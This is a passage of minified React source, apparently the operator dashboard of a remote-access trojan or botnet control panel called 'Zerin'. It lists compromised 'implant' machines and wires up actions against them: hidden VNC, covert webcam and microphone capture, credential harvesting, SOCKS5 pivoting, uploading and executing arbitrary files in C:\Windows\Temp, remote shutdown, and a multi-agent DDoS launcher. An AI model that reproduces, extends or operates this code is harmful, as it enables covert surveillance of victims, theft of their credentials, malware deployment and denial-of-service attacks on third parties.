e=xr(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(""),[l,c]=m.useState("all"),[u,d]=m.useState({column:"last_seen",direction:"desc"}),[f,p]=m.useState("online"),[h,x]=m.useState({x:0,y:0,visible:!1}),[g,y]=m.useState(null),[v,b]=m.useState(null),[w,j]=m.useState(null),[N,k]=m.useState(null),[z,S]=m.useState(null),[O,A]=m.useState("Zerin"),[T,P]=m.useState(""),[D,G]=m.useState(new Set),[R,K]=m.useState(!1),[_,M]=m.useState(!1),[F,U]=m.useState(""),[V,Z]=m.useState(""),[ae,ue]=m.useState(!1),[be,ye]=m.useState(null),q=m.useRef(null),te=m.useRef(null),C=m.useRef(null),Y=m.useCallback(async()=>{try{const E=await Sj();n(E),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);m.useEffect(()=>{Y()},[Y]);const{lastMessage:ne}=m.useContext(gd);m.useEffect(()=>{if(ne&&ne.type==="agent_update"){const E=ne.payload;n(ce=>{const J=ce.findIndex(xe=>xe.id===E.id);if(J>=0){const xe=[...ce];return xe[J]=E,xe}return[E,...ce]}),b(ce=>ce&&ce.id===E.id?E:ce)}},[ne]),m.useEffect(()=>{const E=setInterval(Y,15e3);return()=>clearInterval(E)},[Y]),m.useEffect(()=>()=>{q.current&&clearTimeout(q.current)},[]);const B={total:t.length,alive:t.filter(E=>E.status==="alive").length,stale:t.filter(E=>E.status==="stale").length,dead:t.filter(E=>E.status==="dead").length},le=f==="online"?t.filter(E=>E.status==="alive"||E.status==="stale"):t.filter(E=>E.status==="dead"),Ne=[...l==="all"?le:le.filter(E=>E.status===l)].sort((E,ce)=>UU(E,ce,u)),Ae=t.filter(E=>E.status==="alive"||E.status==="stale").length,$=t.filter(E=>E.status==="dead").length;function fe(E){d(ce=>({column:E,direction:ce.column===E&&ce.direction==="asc"?"desc":"asc"}))}function ve(E){c(ce=>ce===E&&E!=="all"?"all":E)}function H(E){if(q.current){clearTimeout(q.current),q.current=null,e(`/agents/${E.id}`);return}q.current=setTimeout(()=>{q.current=null,b(E)},250)}function se(E,ce){E.preventDefault(),y(ce),x({x:E.clientX,y:E.clientY,visible:!0})}function W(E,ce){var X;if(!g)return;const J=g.id,xe=g.hostname,ke=ce==null?void 0:ce.action,ze=ce==null?void 0:ce.tab;if(x(re=>({...re,visible:!1})),y(null),ke==="chat"){j(g);return}if(ke==="confirm"){k({command:E,agentId:J,hostname:xe});return}if(ke==="msgbox"){S({agentId:J,hostname:xe}),A("Zerin"),P("");return}if(ke==="vnc"){Ex(J).then(()=>{const re=st(),oe=window.open(`/vnc/${J}`,`vnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start VNC"));return}if(ke==="hvnc"){Pj(J).then(()=>{const re=st(),oe=window.open(`/vnc/${J}?mode=hvnc`,`hvnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start hVNC"));return}if(ke==="webcam"){Ej(J).then(()=>{const re=st(),oe=window.open(`/webcam/${J}`,`webcam-${J}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start webcam"));return}if(ke==="mic"){_j(J).then(()=>{const re=st(),oe=window.open(`/mic/${J}`,`mic-${J}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start microphone"));return}if(ke==="socks5"){Aj(J).then(re=>{alert(`SOCKS5 proxy started on ${re.bind}:${re.port}
|
||
|
||
Use: ssh -L ${re.port}:127.0.0.1:${re.port} root@<vps>`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(ke==="execute_upload"){C.current=J,(X=te.current)==null||X.click();return}if(ke==="ban"){const re=t.find(L=>L.id===J),oe=re==null?void 0:re.banned,Oe=oe?`Unban agent ${xe} (${J.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${xe} (${J.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(Oe))return;(oe?e6:JE)(J).then(()=>{n(L=>L.map(ie=>ie.id===J?{...ie,banned:!oe}:ie))}).catch(()=>o(`Failed to ${oe?"unban":"ban"} agent`));return}if(ke==="remove"){if(!confirm(`Remove agent ${xe} (${J.slice(0,8)})? This cannot be undone.`))return;Cj(J).then(()=>{n(re=>re.filter(oe=>oe.id!==J))}).catch(()=>o("Failed to remove agent"));return}(ke==="submit"||ke==="screenshot")&&E!=="creds"&&Me(J,{command:E}).catch(re=>{o(`Failed to submit task: ${re instanceof Error?re.message:"unknown error"}`)}),ze&&e(`/agents/${J}?tab=${ze}${E==="creds"?"&auto=1":""}`)}function Q(){x(E=>({...E,visible:!1})),y(null)}async function he(E){var ze,X,re;const ce=(ze=E.target.files)==null?void 0:ze[0];if(E.target.value="",!ce||!C.current)return;const J=C.current;C.current=null;const xe=ce.name,ke=`C:\\Windows\\Temp\\${xe}`;try{const oe=await ce.arrayBuffer(),Oe=Array.from(new Uint8Array(oe)),{task_id:et}=await Me(J,{command:"upload",args:[ke],data:Oe});let L=!1;for(let de=0;de<30;de++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(X=(await Xn(J)).results)==null?void 0:X.find(Lt=>Lt.task_id===et);if(Ct){if(Ct.error)throw new Error(Ct.error);L=!0;break}}if(!L)throw new Error("Upload timed out");const{task_id:ie}=await Me(J,{command:"execute",args:[ke]});for(let de=0;de<30;de++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(re=(await Xn(J)).results)==null?void 0:re.find(Lt=>Lt.task_id===ie);if(Ct){if(Ct.error)throw new Error(Ct.error);alert(`Executed ${xe} on agent`);return}}alert(`File uploaded & execute command sent (${xe})`)}catch(oe){o(`Execute file failed: ${oe instanceof Error?oe.message:"unknown error"}`)}}return a.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[a.jsx("input",{ref:te,type:"file",className:"hidden",onChange:he}),a.jsxs("div",{className:"mb-6",children:[a.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),a.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[a.jsx(ic,{label:"Total",value:B.total,active:l==="all",onClick:()=>ve("all")}),a.jsx(ic,{label:"Alive",value:B.alive,active:l==="alive",onClick:()=>ve("alive")}),a.jsx(ic,{label:"Stale",value:B.stale,active:l==="stale",onClick:()=>ve("stale")}),a.jsx(ic,{label:"Dead",value:B.dead,active:l==="dead",onClick:()=>ve("dead")})]}),a.jsx($U,{agents:t}),a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[a.jsxs("button",{onClick:()=>{p("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:Ae})]}),f==="online"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),a.jsxs("button",{onClick:()=>{p("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="offline"?"bg-zinc-500":"bg-zerin-text-muted/40"}`}),"Offline",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="offline"?"bg-zinc-500/15 text-zinc-400":"bg-zinc-800 text-zerin-text-muted"}`,children:$})]}),f==="offline"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zinc-500"})]})]}),f==="offline"&&$>0&&a.jsx("button",{onClick:async()=>{if(!confirm(`Remove all ${$} dead agent(s)? This cannot be undone.`))return;const E=t.filter(ce=>ce.status==="dead").map(ce=>ce.id);try{await QE(E),n(ce=>ce.filter(J=>J.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/10 text-red-400/80 hover:bg-red-500/20 hover:text-red-400 border border-red-500/20 transition-colors",children:"Clear All"})]}),r?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),a.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):s?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[a.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:a.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:s}),a.jsxs("button",{onClick:Y,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):Ne.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:a.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?a.jsxs(a.Fragment,{children:[a.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):a.jsxs(a.Fragment,{children:[a.jsxs("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:["No ",f," agents"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm",children:[f==="online"?"No alive or stale agents.":"No dead agents — all agents are online.",l!=="all"&&a.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline underline-offset-2",children:"Clear filter"})]})]})]})}):a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:[a.jsx("span",{className:"text-zerin-text font-medium",children:Ne.length})," ",f," agent",Ne.length!==1?"s":"",l!=="all"&&a.jsxs("span",{className:"ml-1",children:["· filtered by ",a.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm text-left",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-bg-alt",children:[a.jsx("th",{className:"px-3 py-3 w-[40px]",children:a.jsx("input",{type:"checkbox",checked:Ne.length>0&&Ne.filter(E=>E.status!=="dead").every(E=>D.has(E.id)),onChange:E=>{E.target.checked?G(new Set(Ne.filter(ce=>ce.status!=="dead").map(ce=>ce.id))):G(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),VU.map(E=>a.jsx("th",{onClick:()=>fe(E.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${E.className??""}`,children:a.jsxs("span",{className:"inline-flex items-center gap-1.5",children:[E.label,a.jsx(KU,{column:E.key,sort:u})]})},E.key))]})}),a.jsx("tbody",{className:"bg-zerin-panel",children:Ne.map(E=>a.jsxs("tr",{onClick:()=>H(E),onContextMenu:ce=>se(ce,E),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${E.status==="dead"?"opacity-50":""} ${E.banned?"opacity-60":""}`,children:[a.jsx("td",{className:"px-3 py-3",onClick:ce=>ce.stopPropagation(),children:E.status!=="dead"&&a.jsx("input",{type:"checkbox",checked:D.has(E.id),onChange:ce=>{G(J=>{const xe=new Set(J);return ce.target.checked?xe.add(E.id):xe.delete(E.id),xe})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx(xd,{status:E.status,size:"sm",showLabel:!0}),E.banned&&a.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),a.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${E.banned?"line-through":""}`,children:E.hostname}),a.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[E.username,E.elevated&&a.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:Io(E.os)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:E.arch}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:E.av_product||"Unknown",children:E.av_product||"Unknown"}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.internal_ip}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.external_ip}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.pid}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:Lo(E.last_seen),children:eu(E.last_seen)})]},E.id))})]})})})]}),D.size>0&&a.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r
|
||
bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[a.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[D.size," agent",D.size!==1?"s":""," selected"]}),a.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),a.jsxs("button",{onClick:()=>K(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
|
||
text-red-400 bg-red-500/10 border border-red-500/20\r
|
||
hover:bg-red-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),a.jsxs("button",{onClick:()=>M(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
|
||
text-orange-400 bg-orange-500/10 border border-orange-500/20\r
|
||
hover:bg-orange-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute File"]}),a.jsx("button",{onClick:()=>G(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r
|
||
hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),R&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>K(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),a.jsx("button",{onClick:()=>K(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx(lS,{agentIds:[...D]})]})}),_&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>M(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-lg",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Execute File"}),a.jsx("button",{onClick:()=>M(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"p-6 space-y-4",children:[a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Run a file on ",D.size," agent",D.size!==1?"s":""]}),be&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${be.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:be.text}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"File Path"}),a.jsx("input",{type:"text",value:F,onChange:E=>U(E.target.value),placeholder:"C:\\path\\to\\file.exe",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r
|
||
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Arguments (optional)"}),a.jsx("input",{type:"text",value:V,onChange:E=>Z(E.target.value),placeholder:"--flag value",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r
|
||
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("button",{onClick:async()=>{if(F.trim()){ue(!0),ye(null);try{const E=[F.trim()];V.trim()&&V.trim().split(/\s+/).forEach(ke=>E.push(ke));const J=(await Promise.allSettled([...D].map(ke=>Me(ke,{command:"execute",args:E})))).filter(ke=>ke.status==="fulfilled").length,xe=D.size;ye(J===xe?{text:`Sent to ${xe} agent${xe!==1?"s":""}`,type:"ok"}:{text:`Sent to ${J}/${xe} agents (${xe-J} failed)`,type:J>0?"ok":"err"})}catch(E){ye({text:E instanceof Error?E.message:"Failed",type:"err"})}finally{ue(!1)}}},disabled:ae||!F.trim(),className:`w-full flex items-center justify-center gap-2 px-4 py-2.5\r
|
||
text-sm font-medium text-white bg-orange-500 hover:bg-orange-600\r
|
||
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[ae?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute",D.size>1?` (${D.size})`:""]})]})]})}),a.jsx(b_,{x:h.x,y:h.y,visible:h.visible,onAction:W,onClose:Q,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),a.jsx(Dj,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),a.jsx(j_,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent Details",children:v&&a.jsx(GU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async E=>{const ce=v.tags??[];n(J=>J.map(xe=>xe.id===v.id?{...xe,tags:E}:xe)),b(J=>J&&{...J,tags:E});try{await n6(v.id,E)}catch{n(J=>J.map(xe=>xe.id===v.id?{...xe,tags:ce}:xe)),b(J=>J&&{...J,tags:ce}),o("Failed to update tags")}}})}),N&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>k(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[N.command==="restart"?"Restart":"Shutdown"," PC"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",N.command," ",a.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname}),"?",N.command==="shutdown"&&" The agent will go offline."]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>k(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r
|
||
hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r
|
||
transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{Me(N.agentId,{command:N.command}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),k(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${N.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:N.command==="restart"?"Restart":"Shutdown"})]})]})}),z&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",a.jsx("span",{className:"text-zerin-text font-medium",children:z.hostname})]}),a.jsxs("div",{className:"space-y-3 mb-6",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),a.jsx("input",{type:"text",value:O,onChange:E=>A(E.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r
|
||
text-sm text-zerin-text placeholder-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),a.jsx("textarea",{value:T,onChange:E=>P(E.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r
|
||
text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r
|
||
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r
|
||
hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r
|
||
transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{T.trim()&&Me(z.agentId,{command:"troll_msgbox",args:[T,O||"Zerin"]}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),S(null)},disabled:!T.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r
|
||
hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r
|
||
transition-colors`,children:"Send"})]})]})})]})}function ic({label:e,value:t,active:n,onClick:r}){return a.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[a.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function KU({column:e,sort:t}){return t.column!==e?a.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function GU({agent:e,onNavigate:t,onTagsChange:n}){return a.jsxs("div",{className:"space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xd,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&a.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),a.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[a.jsx(jn,{label:"Hostname",value:e.hostname}),a.jsx(jn,{label:"Username",value:e.username}),a.jsx(jn,{label:"OS",value:Io(e.os)}),a.jsx(jn,{label:"Architecture",value:e.arch}),a.jsx(jn,{label:"PID",value:String(e.pid),mono:!0}),a.jsx(jn,{label:"Integrity",value:e.integrity}),a.jsx(jn,{label:"Internal IP",value:e.internal_ip,mono:!0}),a.jsx(jn,{label:"External IP",value:e.external_ip,mono:!0}),a.jsx(jn,{label:"Sleep / Jitter",value:Ij(e.sleep_interval,e.jitter),mono:!0}),a.jsx(jn,{label:"Agent ID",value:no(e.id),mono:!0}),a.jsx(jn,{label:"First Seen",value:Lo(e.first_seen)}),a.jsx(jn,{label:"Last Seen",value:eu(e.last_seen)})]}),a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),a.jsx(BU,{tags:e.tags??[],onChange:n})]}),a.jsx("div",{className:"border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function jn({label:e,value:t,mono:n=!1}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),a.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const 